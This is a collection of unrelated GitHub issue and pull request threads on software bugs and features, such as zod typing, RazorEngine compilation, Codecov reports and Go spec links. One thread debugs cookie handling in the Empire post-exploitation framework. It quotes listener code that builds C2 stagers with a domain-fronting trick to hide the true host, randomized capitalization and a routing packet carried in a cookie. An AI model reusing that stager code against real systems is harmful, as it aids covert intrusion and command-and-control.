Type { name: string; }[] is not assignable to type string[]
Type { name: string; } is not assignable to type string

It seems to be a bug to me - or is catchall() simply not designed to be used this way?
(I'd love to receive suggestions for a workaround.)

I have confirmed this bug and here is a more simplified example:
const personSchema = z.object( { name: z.string() } ).catchall( z.number() )
type Person = z.infer<typeof personSchema>
// type Person = {
//     name: string
// } & {
//     [ k: string ]: number
// }

const bobDylan: Person = {
//    ^^^^^^^^
//    Property 'name' is incompatible with index signature.
//    Type 'string' is not assignable to type 'number'.
    name: 'bob dylan',
    validExtraKey: 61,
}

I believe this is due to https://github.com/microsoft/TypeScript/issues/17867, not a fault with zod.

Unfortunately .catchall() is a bit of a footgun in this way. Zod treats it like a "fallback" for unrecognized keys but TypeScript requires all explicitly defined keys to conform.


Out-of-range colors not working (0.10.3)

Nodes that would receive out-of-range colors are instead not drawn at all.

self.SetAboveRangeColor(*Color(above_color, opacity=1))

This was caused by a change in the way that opacity is interpreted with the new Pyvista Color class. Integers are assumed to be 0-255 and floats are assumed to be 0.0-1.0. So the opacity value literal should be either 1.0 or 255.
Changing to 1.0


Camera control -> Name of cam

In Accessories have all cameras name as "Camera control".

If user have defined "Name" in config.json, I think, that will better use this name, as name of cam.
Originally posted to plugin homebridge-camera-ffmpeg:
https://github.com/homebridge-plugins/homebridge-camera-ffmpeg/issues/484

Can you click the cog (hover over tile) and show me what is there?

Of course:

This is set in config.json in plugin homebridge-camera-ffmpeg.

same for me, after added support for doorbell in ffmpeg-camera

https://github.com/oznu/homebridge-config-ui-x/wiki/How-To-Test-Upcoming-Changes


Ignored serializer_class attribute

The serializer of the ModelChoicePreference should respect its serializer_class attribute:
https://github.com/EliotBerriot/django-dynamic-preferences/blob/80dc13cb7eb3882634d85a1a3b775b2dab453838/dynamic_preferences/types.py#L315
self.serializer = self. serializer_class(self.model)

Check out the fix in my pull request please, thank you.


Method for assigning custom metadata missing

I'm trying to pass custom metadata like uid ('x-goog-meta-uid') in the header, but I can't find an option to sign the url with this additional piece of information. Is this available on the java library? I've got below so far..
URL uploadUrl = storage.signUrl(
blobInfo,
5,
TimeUnit.MINUTES,
Storage.SignUrlOption.httpMethod(HttpMethod.PUT),
Storage.SignUrlOption.withContentType());

@PRMEDIASTORE It seems to me client library in this repo does not support signing url with header yet. However, you maybe able to use ServiceAccountCredentials.sign() to sign a "signature string", then base64 encode the string and assemble the URL.  Here's reference: https://cloud.google.com/storage/docs/access-control/create-signed-urls-program

@neozwu you're right - someone else found the same issue, and have submitted a PR for this.
https://github.com/GoogleCloudPlatform/google-cloud-java/issues/2000


Fix broken link(s)

Thanks for the PRs @aksie! There are redirects in place on Netlify for these "broken links", so on https://docs.appsignal.com, they should all resolve.


fsjes.usmba.ac.ma/cours/ait-oudra/ech-estimation.pdf

I don't see how this is relevant to Download Manager. Could you provide more information about what this issue is about?


Uncaught Error: EPERM: operation not permitted, lstat '/\esp_op_vdm\users'

[Enter steps to reproduce:]

...
...

Atom: 1.34.0 x64
Electron: 2.0.16
OS: Microsoft Windows 10 Enterprise
Thrown From: Atom Core
Stack Trace
Uncaught Error: EPERM: operation not permitted, lstat '\esp_op_vdm\users'
At fs.js:1621

Error: EPERM: operation not permitted, lstat '\\esp_op_vdm\users\'
    at Proxy.realpathSync (fs.js:1621:13)
    at Proxy.fs.realpathSync (ELECTRON_ASAR.js:336:29)
    at atom.project.getPaths.map.e (~/AppData/Local/atom/app-1.34.0/resources/app/static/<embedded>:11:788946)
    at Array.map (<anonymous>)
    at Object.startTask (~/AppData/Local/atom/app-1.34.0/resources/app/static/<embedded>:11:788937)
    at Object.startLoadPathsTask (~/AppData/Local/atom/app-1.34.0/resources/app/static/<embedded>:11:186974)
    at get_process.nextTick (~/AppData/Local/atom/app-1.34.0/resources/app/static/<embedded>:11:185036)
    at _combinedTickCallback (internal/process/next_tick.js:131:7)
    at process._tickCallback (internal/process/next_tick.js:180:9)

Commands

Non-Core Packages
atom-html-preview 0.2.5
open-in-browser 0.5.2

Thanks for taking the time to contribute!
This looks like a duplicate of https://github.com/atom/fuzzy-finder/issues/289 so feel free to subscribe there for updates if you'd like.

Because we treat our issues list as the Atom team's backlog, we close duplicates to focus our work and not have to touch the same chunk of code for the same reason multiple times. This is also why we may mark something as duplicate that isn't an exact duplicate but is closely related.
For information on how to use GitHub's search feature to find out if something is a duplicate before filing, see the How Can I Contribute? section of the Atom CONTRIBUTING guide.


Use stderr for logging instead of stdout

Logging to stdout could be problematic when chaining multiple programs, since in linux people usually assumes stdout to be actual output of a problem.

@tesseract2048 sorry for the late answer, I discover you message, a notification issue from github. Do you still have this need?
I am thinking of a system property -Dorg.jmxtrans.agent.JmxTransAgent.console=stderr or an environment variable JMX_TRANS_AGENT_CONSOLE=stderr.
Would that make sense?

See https://github.com/jmxtrans/jmxtrans-agent/pull/96

Yes. That would work.
Thanks, @cyrille-leclerc.

@tesseract2048 @cyrille-leclerc This can be closed.

Thanks @simmel  @tesseract2048


allow icmp destination unreachable

closes #184

Please update your commit message to follow the guidelines in CONTRIBUTING.md

Commit message amended. Is that more what you're looking for?

LGTM, thank you!


Update sbt-travisci to 1.2.0

Updates com.dwijnand:sbt-travisci from 1.1.3 to 1.2.0.
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention @scala-steward in the comments below.
Have a nice day!

Ignore future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [{ groupId = "com.dwijnand", artifactId = "sbt-travisci" }]

Codecov Report

Merging #1104 into master will decrease coverage by 0.16%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master    #1104      +/-   ##
==========================================
- Coverage   84.35%   84.19%   -0.17%
==========================================
  Files          77       77
  Lines        2499     2499
  Branches      180      180
==========================================
- Hits         2108     2104       -4
- Misses        391      395       +4

Impacted Files
Coverage Δ

...re/shared/src/main/scala/io/circe/JsonNumber.scala
92.5% <0%> (-3.75%)
:arrow_down:

...scala/io/circe/shapes/LabelledHListInstances.scala
92.59% <0%> (-3.71%)
:arrow_down:

...les/core/shared/src/main/scala/io/circe/Json.scala
79.5% <0%> (-0.63%)
:arrow_down:

...rc/main/scala/io/circe/numbers/BiggerDecimal.scala
89.75% <0%> (ø)
:arrow_up:

...re/shared/src/main/scala/io/circe/KeyDecoder.scala
100% <0%> (+2.7%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 4eee131...d88584b. Read the comment docs.


Video and metadata issues.

Hey!
Some albums have a single video in them and crashes the download.
A way to handle and ignore videos would be nice. I've tried a few modifications but I'm not a python guy.
Example: (album containing only videos) album/97129869
Another issue I've ran into multiple times is incorrect metadata.
Tracks completely ignoring the (Artist Remix) at the end of the title.
Example: album/13206400
Another question I have: What is the logical order of downloads in a .txt file. It does not go from top to bottom it looks completely random to me.

Hey, videos are now skipped and i have added option to add version of the track to the file formatting like so: "track_template": "{artist}/{title} ({version})".
Track versions were skipped as they don't belong to the track title, they belong to version variable of Track


Pop-up appears every time the terminal size changes

Hello,
every time the terminal size changes, a pop-up is being displayed which shows the width and height of the terminal.
It even shows up when the keyboard is being opened and closed or when the screen rotates.
IMHO this doesn't make sense and it very quickly can become quite annoying and distracting.
Could you please either add an option to disable this pop-up or alternatively make it only show up when the user actually changes the size of the terminal (font size) on purpose?
Regards

PS:
The pop-up also appears when opening a terminal and immediately is obfuscating the keyboard for a brief moment, also quite annoying.
Regards


chore: Add TraceableClientMixin to prices pages

Hi everyone!
Before shipping the Prices feature, we need to instrument user behavior more.

Codecov Report
Attention: Patch coverage is 0% with 2 lines in your changes missing coverage. Please review.

Project coverage is 7.19%. Comparing base (4d9c7fc) to head (214051a).
Report is 226 commits behind head on develop.

Files
Patch %
Lines

...h_app/lib/pages/prices/product_price_add_page.dart
0.00%
2 Missing :warning:

Additional details and impacted files
@@            Coverage Diff             @@
##           develop   #5441      +/-   ##
==========================================
- Coverage     9.54%   7.19%   -2.36%
==========================================
  Files          325     391      +66
  Lines        16411   20341    +3930
==========================================
- Hits          1567    1463     -104
- Misses       14844   18878    +4034

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Admins can invite other admins

Feature Description

When an admin needs to add someone as an admin, they should be able to enter an email address to send an invitation for someone to sign up.  Once the new person is signed up, they should be given the admin role.
Expected solution

Testing

This is fixed by the Volunteer signup page.


Tag project with jamstack

So it is not jamstack:)

Is this referencing https://jamstack.org/? I hadn't actually heard of that before, this project was built years before the JAMStack site, but I suppose the architecture does fit. What's the actionable thing here that you mean by "tag"?


Setting additional Cookies for the http listener with python

Empire Version
2.5
OS Information
OS: Linux kali 4.9.0-kali3-amd64 #1 SMP Debian 4.9.18-1kali1 (2017-04-04) x86_64 GNU/Linux
Python: 2.7
Expected behavior and description of the error, including any actions taken immediately prior to the error. The more detail the better.
While it is possible to set out different Headers in setting DefaultProfile, when setting the field 'Cookie' there are different problems.
Let's suppose we provide a new profile with this command:
set DefaultProfile URI | UA | Cookie: key1=value1;
The provided cookie will be one provided for, let's say, additional authentication.
During stage 1, each new field will be added with this line:
req.add_header('FIELD X',"VALUE X");
But since a Cookie will be added anyway by default by the following instruction:
req.add_header('Cookie',"session=Y");
The next instruction that will add our Cookie will overwrite the first definition of the Cookie field (check urllib2 docs for headers here https://docs.python.org/3/library/urllib.request.html#urllib.request.Request.add_header)
So, to add a custom Cookie, we should add a session cookie along the cookie we want to add, like this:
set DefaultProfile URI | UA | Cookie: session=value_SESSION;key1=value1;
But that's not all.
In fact, on different parts of the code eventual additional Cookies are not correctly parsed, throwing different exceptions at lines 84 in  Empire/data/agent/agent.py and 52 in Empire/data/agent/stagers/http.py.
Finally, in the definition of the send_message directive for python language in Empire/lib/listeners/http.py at line 836, only the session cookie will be used in the urllib2 requests, ignoring other cookies that may be required for the HTTP request itself (as auth Cookies).
Screenshot of error, embedded text output, or Pastebin link to the error
It is hard to show the error, since both listener and stager will keep working, but the additional cookies won't be used in the requests following the highlighted instructions.
Any additional information

Thanks for pointing this out @WickdDavid ! I'll take a look when I get a chance.

@WickdDavid This should be fixed. Can you test the fix-for-1142 branch?

I'll check it out and get back to you asap.

Ok, the cookie error seems to be solved (I have used the Cookie option while setting up the listener, is that right?)
Thus, I'm getting new errors.
Maybe this problem is just related to what I'm trying to do. Just to be sure, I'm attaching it here.

I have already faced these errors, but I thought they were cause by wrong authentication due to cookies. I don't know why it happens, but seems that sometimes the routing packet is not received correctly by the http server.
I have solved them by first hex-encoding the routing packet and decoding it in the http listener.

In /lib/listeners/http.py, seems that by changing this block
`
if customHeaders != []:
for header in customHeaders:
headerKey = header.split(':')[0]
headerValue = header.split(':')[1]
#If host header defined, assume domain fronting is in use and add a call to the base URL first
#this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
if headerKey.lower() == "host":
stager += helpers.randomize_capitalization("try{$ig=$WC.DownloadData($ser)}catch{};")
                    stager += helpers.randomize_capitalization("$wc.Headers.Add(")
                    stager += "\"%s\",\"%s\");" % (headerKey, headerValue)

            # add the RC4 packet to a cookie

            stager += helpers.randomize_capitalization("$wc.Headers.Add(")
            stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket)`

to this
`cookieString = "{}={};".format(cookie,b64RoutingPacket)
            # Add custom headers if any
            if customHeaders != []:
                for header in customHeaders:
                    headerKey = header.split(':')[0]
                    headerValue = header.split(':')[1]

                    if headerKey.lower() == "cookie":
                        cookieString += "{};".format(headerValue)
                        continue

                    #launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue)
                    launcherBase += "req.add_header(\"%s\",\"%s\");\n" % (headerKey, headerValue)

            launcherBase += "req.add_header('Cookie',\"%s\");\n" % (cookieString) `

The 'session' cookie will just have the value but not the field name (i.e. 'session')
Here the problem in the decoded launcher i get from launcher python http
req.add_header('Cookie',"disclaimer_accepted=1;=iuoREgJtZe9NHsbsrx0DVqIAdeM=;");

@WickdDavid, the cookie option is specifically for providing a custom name for the routingcookie. To use additional custom cookie values, they need to be set in the profile.

Ok, I have set the cookie through DefaultProfile, still some problems arise.
In particular, on this line (n 52 of data/agent/stagers/http.py, but it is in other files, see my first comment)
headers['Cookie'] = "%s;%s" % (headers['Cookie'], headerValue)
Since on the first call the key 'Cookie' does not exists, this instruction will throw a key error (and then pass without saving the cookie value)
Of course this can be easily fixed by adding 'Cookie' as a key before referencing it.

@WickdDavid Can you do another git pull and try again? Both the powershell and python listeners should be working with a custom cookie header.

Sorry, got busy all this week.
The fix works great, had some conflict by pulling the fix-branch ;)

@WickdDavid great!

merged/fixed


Bug report : Error during build

Summary
Environement :
OS: Docker UBUNTU 18.04
Offline with an npm mirror
Node version : 8.10.0
npm version : 3.5.2
since cyberchef V8.24.2
Command  : grunt node
error durring webpack:generateConfig
message :
Written operation index.
>> SyntaxError: Unexpected tocken import
>>     at ModuleJob.loaders.set [as module Provider] (internal/loader/moduleRequest.js:33.13
>>     at <anonimous>
--- config scripts finished. ---```

That version of nodeJS does not support the es6 imports. You need to upgrade to at least version 9.0 to get that support.
Here's an answer with various ways to do this on a clean *nix install: https://askubuntu.com/questions/426750/how-can-i-update-my-nodejs-to-the-latest-version

We update to nodejs ltd 10 and it resolves the problem thanks you


share embedding

In previous versions,  candidate_movie and user_behaviors_emb were two different sets of embedding , and now they will share the same set of embedding

thank you for the contribution. share embedding is indeed the original design of DIN.


Using generics for folding types in optimism crate

This modifies mainly the FoldingInstance and FoldingWitness types inside optimism, together with the Folder trait for the tracer.

I commented out the decomposable folding Keccak test because it is still failing to obtain the right domain size. Planning to address it in https://github.com/o1-labs/proof-systems/pull/2182.


[BUG] mypy strict no-untyped-call

Describe the bug
When using Beanie with mypy strict typing, some typing issues make it impossible to pass the linter validation.
To Reproduce
Here is an example of code:
import asyncio
from typing import Optional

from motor.motor_asyncio import AsyncIOMotorClient
from pydantic import BaseModel

from beanie import Document, init_beanie, operators

class Category(BaseModel):
    name: str
    description: str

class Product(Document):
    name: str
    description: Optional[str] = None
    price: float
    category: Category

async def example() -> None:
    client = AsyncIOMotorClient("mongodb://user:pass@host:27017")
    await init_beanie(database=client["beanie_test"], document_models=[Product])

    chocolate = Category(
        name="Chocolate",
        description="A preparation of roasted and ground cacao seeds.",
    )
    tonybar = Product(name="Tony's", price=5.95, category=chocolate)
    await tonybar.insert()

    product = await Product.find_one(operators.LTE(Product.price, 10))

if __name__ == "__main__":
    asyncio.run(example())

Here is the output.
$ > mypy --stritct _local/test_mypy_1.py
test_mypy_1.py:35: error: Call to untyped function "LTE" in typed context  [no-untyped-call]

Expected behavior
There should be no error
I believe this can be fixed by specifying the NoneType for the functions missing it.
If no objection, I can submit a Pull Request for the changes.

Thank you for the catch! I'll add this case to the typing tests suite

Can I submit a PR for this

I would also like to see this implemented. It bugs me to have to use # type: ignore every time i use a operator


Lecture

https://cdn.cs50.net/2023/fall/lectures/ai/lang/en/ai.srt

Hello.
@ceo-roblox-jun you are about to be reported for either spamming or sharing active malware.
Please either add additional information or provide some kind of explanation for this issue.
Thanks.


Fix conflict file issue in IJ static web projects by adding web.iml to the exclusion list

To avoid file conflict issue with IJ static web projects.
This is related to issue #368.
IJ static web project creates the file web.iml which also triggers the conflict file issue, as the .idea dir did.

Where can I read about this file? And what is IJ?

IJ is IntelliJ , the file is created by IntelliJ as metadata for a static web project

This looks fine to me, thanks.


Add Configuration.swift

Add Configuration.swift

[x] Add Configuration.swift support

Could you move the Add coroutine tests to a separate tests branch and make a new pr there? git cherry-pick <commit hash> should do the trick.

          2 Errors

:no_entry_sign:
Please include a CHANGELOG entry.
You can find it at CHANGELOG.md

:no_entry_sign:
Sources/Mustache/Compiling/TemplateAST/LocatedTag.swift includes all rights reserved

          2 Warnings

:warning:
Package.swift was updated

:warning:
Big PR

          1 Message

:book:
Ahoy, @paulofaria!! Thanks for your contribution mate!

  Generated by :no_entry_sign: danger

          4 Warnings

:warning:
Package.swift was updated

:warning:
Big PR

:warning:
Tests were not updated

:warning:
Please include a CHANGELOG entry.
You can find it at CHANGELOG.md

          1 Message

:book:
Ahoy, @paulofaria!! Thanks for your contribution mate!

  Generated by :no_entry_sign: danger

[Current coverage][cc-pull] is 0.81% (diff: 0.00%)

No coverage report found for master at 9b2541d.

Powered by Codecov. Last update [9b2541d...9c17a2e][cc-compare]
[cc-base-branch]: https://codecov.io/gh/QuarkX/Quark/branch/master?src=pr
[cc-compare]: https://codecov.io/gh/QuarkX/Quark/compare/9b2541d0bdac606ca5881c3f2941bb939b72d2a4...9c17a2e3a881e4f9e47140e3bee082c185b157a8?src=pr
[cc-pull]: https://codecov.io/gh/QuarkX/Quark/pull/27?src=pr


Add Initializers for strong references and custom options

In our project, we've run into a case where we need to have strongly referenced delegate objects.
I believe this is a fairly common case, so I've added an initializer to support it.
In the process, I also thought it would be nice to have a flexible initializer where end user could specify whatever options he wanted. So, I added this as well.
I've added unit tests and documentation to cover these too.

This PR should be fully backwards compatible.
If accepted, can you please also bump the minor version and push to CocoaPods trunk?
Thanks!

Done :)
thanks for the new inits.

👍


Late move pruning based on quiets

ELO   | 10.92 +- 6.96 (95%)
SPRT  | 8.0+0.08s Threads=1 Hash=64MB
LLR   | 2.96 (-2.94, 2.94) [0.00, 5.00]
GAMES | N: 5856 W: 1886 L: 1702 D: 2268

http://chess.grantnet.us/test/29937/
+25 bytes, probably not worth merging now

Rolling the conditions doesn't help 😞
https://github.com/gcp/4ku/commit/f9aa4e2247cd8bd5296e3d7fef5f15df2324c90a

Thanks.


Avoid TypeError when mapper is undefined

A ternary operation in the prism-custom-class.js file needs to be wrapped with parentheses for it to be evaluated properly. In it's current form, it's throwing a TypeError.
let a = "foo";
let b = undefined;
let c = "default";
a + b ? b() : c;
// Uncaught TypeError: b is not a function
a + (b ? b() : c);
// "foodefault"

Thanks for the PR! Make sure you run gulp to rebuild the files & commit them.
@RunDevelopment This seems like enough of an issue that we should consider cutting another release soon. Thoughts?

@mAAdhaTTah I agree. I'll get the changelog ready.
Maybe we could set up a tsconfig.json, so TSC can catch these null/undefined errors, so it won't happen again. After all, it's the second time this happened to me (#2106).


integration-test: Implement running on VMs

This makes is easy to test whether probes work on different kernel versions.
This is heavily inspired by parca's vmtest.sh.
It currently is hard-coded to pull the kernel images from cillium/ci-kernels.
It leverages bluebox to create a qemu image.
In order to use the new facility, you must have both bluebox and qemu-system-x86_64 installed.
Example usage: $ cargo xtask kernel-test --libbpf-dir $LIBBPF_DIR --kernel-version 5.19 -- smoke

This change is

Probably we should get this into CI. It'll need a way to mark certain tests as not working in this environment or a way to plumb in the necessary dependencies.

Unfortunately, no. Even if we shipped around a binary of the bluebox command, it internally generates a Go program and uses a Go toolchain to compile it, so we need one on hand. I think I'll implement a graceful fallback to run-on-not-VM in xtask integration-test if the user doesn't have a Go toolchain, though.

That seems overly complicated - while I also have to use Go for $dayjob it would be nice not to need it for the tests.
I don't think you need to find an alternative now, but finding one soon might be a decent idea.
I think busybox might work pretty well for this, as used by Rust-for-Linux:
See: https://github.com/Rust-for-Linux/linux/blob/rust/.github/workflows/qemu-initramfs.desc
Which can be easily adapted to add our test binaries
And assembled using scripts that are maintained as part of the kernel:
https://github.com/Rust-for-Linux/linux/blob/18b7491480025420896e0c8b73c98475c3806c6f/.github/workflows/ci.yaml#L237-L240
/usr/gen_init_cpio.c can be compiled very quickly - and we already require clang.

This has been through too many iterations to be merged in this PR. @tamird to open a new PR.

#733.


x/website: link to spec doesn't point to latest version

https://go.dev/ref/spec doesn't point to the latest (in progress version of the spec). While incomplete, the latest version has significant sections on generics. The beta is out, we should update this ASAP.
I'd expect to see the content that we show here: https://tip.golang.org/ref/spec.

Apparently we use the spec of the latest released version here (which is the Go 1.17 spec). But given that we show the first generics  tutorial among the documentation, I think we should show the latest (in-progress) version of the spec as well. While the spec is incomplete, many new sections have been written which are complete and are relevant for understanding generics (e.g., new syntax, interfaces as type sets, and new rules for assignments and conversions).

I think for the next two months it's OK to point people to https://tip.golang.org/ref/spec.

I agree with Ian, and think this is working as intended.
https://go.dev/ref/spec allows users to view the specification for the currently stable Go language version.
https://tip.golang.org/ref/spec allows previewing upcoming changes, which might be evolving.
When the final Go 1.18 is released, the content at https://tip.golang.org/ref/spec will become visible at https://go.dev/ref/spec. This happens as part of the release process, so there's nothing we need to do explicitly to make it happen.
I'll close this issue to help keep the list of 1.18 release-blocking issues actionable. @griesemer Please comment or re-open if you think there's something we need to do before 1.18 can be released.


Upgrading to Tensorflow Lite 2.5

Right now the backscrub code relies on TF Lite 2.4.1.
When I tested the new code of @Phlash with XNNPACK on ARM architecture (aarch64), there is a bug in the version of XNNPACK packaged with TF 2.4.1 which prevents compiling it:
https://github.com/google/XNNPACK/issues/987
On the latest version of TF Lite 2.5, I could compile backscrub fork with XNNPACK on ARM without issues.

I guess we need a few people to give this a go and report back if it's ok?
@vongillus are you happy to put a PR in for the version change, then testers can pull that PR down to test, I use these incantations:
%> git checkout main
%> git fetch origin pull/<PR number>/head:<local branch name>
%> git checkout <local branch name>
%> cmake --build build/
%> build/deepseg -d -d -c <your camera device> -v <your loopback device>

Looks good in #61, I'll also test against main and put in the PR if it works for me.


Friendly names for connections

Presently, I can add several connections to functional groups with nice, people-friendly names. But the connections themselves show the full ServerName\InstanceName, DatabaseName text, which (in our organisation's case at least) can be quite long and onerous.
I'd much prefer to be able to assign friendly names to the connection and have that display instead. Or, you could show both the friendly name and the robot name.
Attached, I have a mock-up of three display options. From top to bottom:

The current system
Friendly name only
Hybrid (my favourite)

SQL Operations Studio Version:
0.23.6
Steps to Reproduce:

Look at the connection panel.
See it shows names in the format ServerName\InstanceName, DatabaseName
Create this feature request

I would like to see this feature as well, came here to suggest this exact feature.
I often require SSH tunneling to access remote production servers.
All I can see in the connection name is "localhost,"

duplicate of https://github.com/Microsoft/sqlopsstudio/issues/66 This issue is selected.


Error: chromosomes have different sample sizes!

Hi! I am running ReLERNN on two populations of sheep (each with 10 samples) and chromosomes 1-26. I got this error for both populations. My initial thoughts were that some of my filtering may have left some samples with a 0 snp count for certain chromosomes but when I printed out the snp count per sample per chromosome, all had many snps (well into thousands). I followed a previous resolved issue and checked if windowSizes.txt was empty and it was.  Do you know what is happening or what I should try? I attached part of my vcf and my ReLERNN script for one population. As background, I have run the example and other species successfully.
first_6000_IR_sheep_autosomes_biallelic_fixup.vcf.gz
IR.txt

I'm guessing this is simple formatting error-- what happens if you run the chromosomes separately? i.e., as different VCF inputs?

Hi! I went back and ran it with chromosome 1 and it worked fine. I then looked more closely at the full vcf and realized that there were some issues with the path to the file and it is now running. Sorry! Thank you for the quick response.


Created a branch of bodyviz fork as submodule

Created a branch of bodyviz fork as submodule. Added assembly definitions:

UnityVolumeRendering.asmdef in EasyVolumeRendering >> Assets
UnityVolumeRendering.Editor.asmdef in EasyVolumeRendering >> Assets >> Editor

I made these changes within bodyviz_unity project's submodule, and then pushed the changes.

There are just a ton of meta files being added here. I'm not sure if it is worth going through all of them or not. It gives me pause when some of them are for C# files that don't seem to have changes. Is there a reason these meta files are changing?

No idea.

Is there some way for me to test this?
Don't know.

It seems like you are adding a couple assembly definitions files, so to have all these other meta files change seems weird. With all of these changing, I'm just envisioning the next pull we do from the developer is going to have 140-ish conflicts at the minimum.
Internally, I do not know what happens when assembly files are created. From your comment, I'm assuming that any dependencies that an assembly file will have might have its meta file content changed. I'd say just ignore any meta files if they show up in diff.


Loxone -> 3.0.1

Is there any beaking change (becasue major). Makes it sense to informusers somehow?

Nope. No breaking changes. Just bug fixes and small improvements.

Is there any beaking change (becasue major). Makes it sense to informusers somehow?

3.0.0 is at stable since 2021. So this is a update change.
Only noticeable favct is, that 3.0.1 is at latest since 30.3. only - what ruther short. Buts thats something raintonr should be able to decide. I do not know wether the change are more a hot fix or bigger changes due to fixes.

@raintonr But when there is no breaking change WHY then a major version update? This is not following semantic versioning rules ... Ok now this is too later but please try to folow semantic version in the future

...when there is no breaking change WHY then a major version update?

I know how version numbers work @Apollon77 3.0.0 was the last release, hence the minor bump to 3.0.1.
https://www.npmjs.com/package/iobroker.loxone?activeTab=versions

Aahhhh then sorry ... I thought you did the jump. sorry ... misunderstanding. all good


Basic example throws TemplateCompilationException in ASP.NET 5

Given the standard example as outlined on the getting started page:
using RazorEngine;
using RazorEngine.Templating;

namespace ConsoleApp1
{
    public class Person
    {
        public string Name { get; set; }
    }
    class Program
    {
        static void Main(string[] args)
        {
            string template = "Hello @Model.Name, welcome to RazorEngine!";
            var result =
                Engine.Razor.RunCompile(template, "templateKey", typeof(Person), new Person { Name = "World" });
        }
    }
}

This throws a weird exception on a ASP.NET 5 console application - using the 1.0.0-rc1-update1 runtime.
Details of the exception:
Errors while compiling a Template.
Please try the following to solve the situation:
  * If the problem is about missing/invalid references or multiple defines either try to load
    the missing references manually (in the compiling appdomain!) or
    Specify your references manually by providing your own IReferenceResolver implementation.
    See https://antaris.github.io/RazorEngine/ReferenceResolver.html for details.
    Currently all references have to be available as files!
  * If you get 'class' does not contain a definition for 'member':
        try another modelType (for example 'null' to make the model dynamic).
        NOTE: You CANNOT use typeof(dynamic) to make the model dynamic!
    Or try to use static instead of anonymous/dynamic types.
More details about the error:
 - warning: (19, 9) Filename specified for preprocessor directive is empty
	 - error: (8, 101) The type or namespace name 'ConsoleApp1' could not be found (are you missing a using directive or an assembly reference?)
Temporary files of the compilation can be found in (please delete the folder): C:\Users\fanie\AppData\Local\Temp\RazorEngine_tsegnqfo.tpq
The template we tried to compile is:
------------- START -----------
Hello @Model.Name, welcome to RazorEngine!
------------- END -----------

The generated source code is:
------------- START -----------
namespace CompiledRazorTemplates.Dynamic
{
    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Threading.Tasks;

    public class RazorEngine_b8e7fed8cfb7425583f80136b710d51d : RazorEngine.Templating.TemplateBase<ConsoleApp1.Person>
    {

        public RazorEngine_b8e7fed8cfb7425583f80136b710d51d()
        {
        }

        #pragma warning disable 1998
        public override async Task Execute()
        {
            WriteLiteral("Hello ");
#line 1 ""
 Write(Model.Name);

#line default

            WriteLiteral(", welcome to RazorEngine!");
        }
        #pragma warning restore 1998
    }
}

------------- END -----------

List of loaded Assemblies:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
	Loaded Assembly: C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_<IP_ADDRESS>__b77a5c561934e089\System.dll
	Loaded Assembly: C:\Users\fanie\.dnx\runtimes\dnx-clr-win-x<IP_ADDRESS>-rc1-update1\bin\Microsoft.Dnx.Host.dll
	Loaded Assembly: C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Configuration\v4.0_<IP_ADDRESS>__b03f5f7f11d50a3a\System.Configuration.dll
	Loaded Assembly: C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_<IP_ADDRESS>__b77a5c561934e089\System.Core.dll
	Loaded Assembly: C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Xml\v4.0_<IP_ADDRESS>__b77a5c561934e089\System.Xml.dll
	Loaded Assembly: C:\Users\fanie\.dnx\runtimes\dnx-clr-win-x<IP_ADDRESS>-rc1-update1\bin\Microsoft.Extensions.PlatformAbstractions.dll
	Loaded Assembly: C:\Users\fanie\.dnx\runtimes\dnx-clr-win-x<IP_ADDRESS>-rc1-update1\bin\Microsoft.Dnx.Loader.dll
	Loaded Assembly: C:\Users\fanie\.dnx\runtimes\dnx-clr-win-x<IP_ADDRESS>-rc1-update1\bin\Microsoft.Dnx.ApplicationHost.dll
	Loaded Assembly: C:\Users\fanie\.dnx\runtimes\dnx-clr-win-x<IP_ADDRESS>-rc1-update1\bin\Microsoft.Dnx.Runtime.dll
	Loaded Assembly: C:\Users\fanie\.dnx\runtimes\dnx-clr-win-x<IP_ADDRESS>-rc1-update1\bin\Microsoft.Dnx.Compilation.dll
	Loaded Assembly: C:\Users\fanie\.dnx\runtimes\dnx-clr-win-x<IP_ADDRESS>-rc1-update1\bin\Microsoft.Dnx.Compilation.Abstractions.dll
	Loaded Assembly: C:\Users\fanie\.dnx\runtimes\dnx-clr-win-x<IP_ADDRESS>-rc1-update1\bin\Microsoft.Dnx.Compilation.DesignTime.dll
	Loaded Assembly: C:\Users\fanie\.dnx\packages\RazorEngine\4.2.7-beta1\lib\net45\RazorEngine.dll
	Loaded Assembly: C:\WINDOWS\assembly\GAC_MSIL\Microsoft.VisualStudio.Debugger.Runtime\<IP_ADDRESS>__b03f5f7f11d50a3a\Microsoft.VisualStudio.Debugger.Runtime.dll
	Loaded Assembly: C:\Users\fanie\.dnx\packages\Microsoft.AspNet.Razor\4.0.0-beta7\lib\dnx451\Microsoft.AspNet.Razor.dll
	Loaded Assembly: C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_<IP_ADDRESS>__b03f5f7f11d50a3a\Microsoft.CSharp.dll

As a side note: I've tried this exact example on a traditional ConsoleApplication and it is working as expected.

As an update:
Although updating the target framework to .NET 4.6, the error still surfaces, but I found that specifying null as the modelType works. When the type is explicitly set it still throws The type or namespace name 'ConsoleApp1' could not be found...

I'm getting the same issue here, we are heavily dependent on razor and just upgraded our app to Asp 5. Can someone take a look at this please?

I had the same problem and found a somewhat clumsy solution:

Go to your project properties and enable 'Produce outputs on build'.
Build it and find your dll, should be something like '...artifacts\bin\MyCoolApp\Debug\dnx46\MyCoolApp.dll'
Now you need a custom IReferenceResolver, use it like this:
var config = new TemplateServiceConfiguration();
config.ReferenceResolver = new MyIReferenceResolver();
var service = RazorEngineService.Create(config);
Engine.Razor = service;
